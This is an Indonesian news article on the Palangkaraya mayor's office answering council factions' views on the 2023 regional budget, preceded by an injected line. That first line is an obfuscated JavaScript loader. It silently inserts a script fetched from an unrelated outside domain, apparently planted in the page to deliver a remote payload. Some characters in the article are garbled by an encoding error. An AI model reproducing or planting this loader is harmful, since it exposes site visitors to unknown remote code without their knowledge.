(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemko Jawab Pemandangan Umum Fraksi Atas APBD 2023

KANALKALIMANTAN.COM, PALANGKARAYA â€“ Rapat paripurna ke-12 DPRD Palangkaraya masa sidang I tahun sidang 2022/2023, Senin (21/11/2022) mengagendakan jawaban dan penjelasan Wali Kota terhadap pemandangan umum fraksi DPRD tentang nota keuangan rancangan anggaran pendapatan dan belanja daerah (RAPBD) 2023.

Ketua DPRD Palangkaraya, Sigit K Yunianto mengatakan, pada paripurna sebelumnya Wali Kota Palangka Raya Fairid Naparin telah menyampaikan RAPBD 2023 dengan rincian sektor pendapatan daerah mengalami kenaikan dimana telah dirancangkan sebesar Rp 1,21 triliun lebih atau naik 5,87 persen dibandingkan 2022.

Sedangkan pada sektor belanja, akan ada penurunan target sebesar 0,58 persen jika dibandingkan dengan tahun 2022 yakni sebesar Rp 1,23 triliun lebih. Kemudian hal tersebut mendapatkan saran, masukan dan catatan dari masing-masing fraksi pendukung di DPRD.

Wakil Wali Kota Palangka Raya Umi Mastikah mengatakan jika tanggapan, saran maupun pertanyaan dari DPRD sangat berarti.

Tak hanya pada rangkaian penyelesaian proses perencanaan dan pengendalian pembangunan, tapi juga dalam proses penganggaran.

“Seperti pandangan umum dari Fraksi PDI Perjuangan dan Partai Golkar, dimana keduanya telah menyetujui seluruh RAPBD untuk tahun depan”ujar Umi.

Untuk Fraksi Demokrat, lanjutnya, pihak Pemko menjawab pertanyaan terkait pokok pikiran (Pokir) DPRD yang terakomodir dalam RAPBD 2023 seperti pemenuhan sarana olahraga, sarana dan prasarana sekolah, perbaikan Pelabuhan Takaras.

Pembuatan kolam (beje), peningkatan jalan lingkungan, penyediaan alat pemadam kebakaran, pengadaan Tosa untuk penunjang kebersihan, penataan halaman parkir pengunjung puskesmas dan rehab rumah ibadah.

Fraksi NasDem mendorong Pemko untuk memperhatikan aspek-aspek dasar dalam penyusunan RAPBD dan menyelaraskannya serta mengedepankan prinsip pengelolaan keuangan daerah secaratertib, efisien, ekonomis, efektif, transparan dan bertanggung jawab. Tentu dengan rasa keadilan, kepatutan, manfaat untuk masyarakat serta taat pada aturan,â€ sebutnya.

Masih banyak masukan serta saran yang membangun dari Fraksi PAN, Gerakan Nurani Bangsa dan Perindo-PSI yang telah disampaikan kepada kami. Mulai dari tata kelola keuangan daerah, sinergitas eksekutif legislatif, pembangunan daerah, peningkatan pada sektor pendidikan dan kesehatan, sosial termasuk kesejahteraan masyarakat.(Kanalkalimantan.com/tri)

Reporter: tri
Editor: cell